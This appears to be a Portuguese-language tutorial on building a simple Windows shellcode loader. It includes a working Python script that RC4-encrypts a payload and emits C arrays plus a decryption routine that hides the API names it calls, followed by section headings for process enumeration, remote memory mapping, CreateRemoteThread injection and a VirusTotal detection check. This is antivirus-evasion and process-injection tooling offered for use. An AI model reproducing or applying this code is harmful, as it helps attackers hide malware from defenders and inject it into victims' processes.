Creating simple loader #2
Começo
Ofucação de Shellcode
import sys
import random
def rc4_encrypt(data, key):
S = list(range(256))
j = 0
out = []
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])
return out
def generate_random_key(length):
return [random.randint(0, 255) for _ in range(length)]
def main():
if len(sys.argv) != 2:
print("Uso: python rc4.py <binario>")
sys.exit(1)
input_file = sys.argv[1]
try:
with open(input_file, "rb") as f:
data = f.read()
except FileNotFoundError:
print(f"File '{input_file}' not found.")
sys.exit(1)
random_key = generate_random_key(16)
encrypted_data = rc4_encrypt(data, random_key)
# Calculating the size of the encrypted payload
encrypted_payload_size = len(encrypted_data)
print("unsigned char payload[] = {")
for i, byte in enumerate(encrypted_data):
if i % 16 == 0:
print("\t", end="")
print(f"0x{byte:02X}, ", end="")
if (i + 1) % 8 == 0:
print("")
print("\n};")
print("\nunsigned char chaveRC4[] = {")
for i, byte in enumerate(random_key):
if i % 8 == 0:
print("\t", end="")
print(f"0x{byte:02X}, ", end="")
if (i + 1) % 8 == 0:
print("")
print("};")
print(f"\nEncrypted payload size: {encrypted_payload_size} bytes")
print("""
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
""")
print("""
typedef struct _USTRING {
ULONG Length;
ULONG MaximumLength;
PWSTR Buffer;
} USTRING;
typedef LONG NTSTATUS;
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
USTRING* Img,
USTRING* Key
);
BOOL RC4DEC(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
NTSTATUS STATUS;
USTRING Key = { dwRc4KeySize, dwRc4KeySize, reinterpret_cast<PWSTR>(pRc4Key) };
USTRING Img = { sPayloadSize, sPayloadSize, reinterpret_cast<PWSTR>(pPayloadData) };
char a_dll_name[] = { 'A','d','v','a','p','i','3','2',0 };
char NotSysFunc32[] = { 'S','y','s','t','e','m','F','u','n','c','t','i','o','n','0','3','2',0 };
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA(a_dll_name), NotSysFunc32);
STATUS = SystemFunction032(&Img, &Key);
if (STATUS != 0x0) {
return FALSE;
}
return TRUE;
}
""")
print("""
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
""")
if __name__ == "__main__":
main()Código
Criação do Mapeamento de Arquivo:
Mapeamento Local da Memória
Cópia do Payload
Mapeamento Remoto da Memória
Finalização
Variáveis Locais
Fluxo de Execução
Obtenção do Primeiro Processo no Snapshot
Iteração sobre os Processos
Conversão do Nome do Processo para Minúsculas
Comparação com o Nome do Processo Alvo
Abertura do Processo com NtOpenProcess
NtOpenProcessIteração Continuada
Finalização
Análise Detalhada da Função main
mainDeclaração Inicial
Variáveis Importantes
Decriptação do Payload
Localização do Processo Alvo
Injeção do Payload
Carregamento da Função CreateRemoteThread
CreateRemoteThreadCriação da Thread Remota
Limpeza dos Recursos
Fluxo da Função Principal (main)
(main)Código completo
Resaltando pontos importantes
VirusTotal

Testando nosso código
Last updated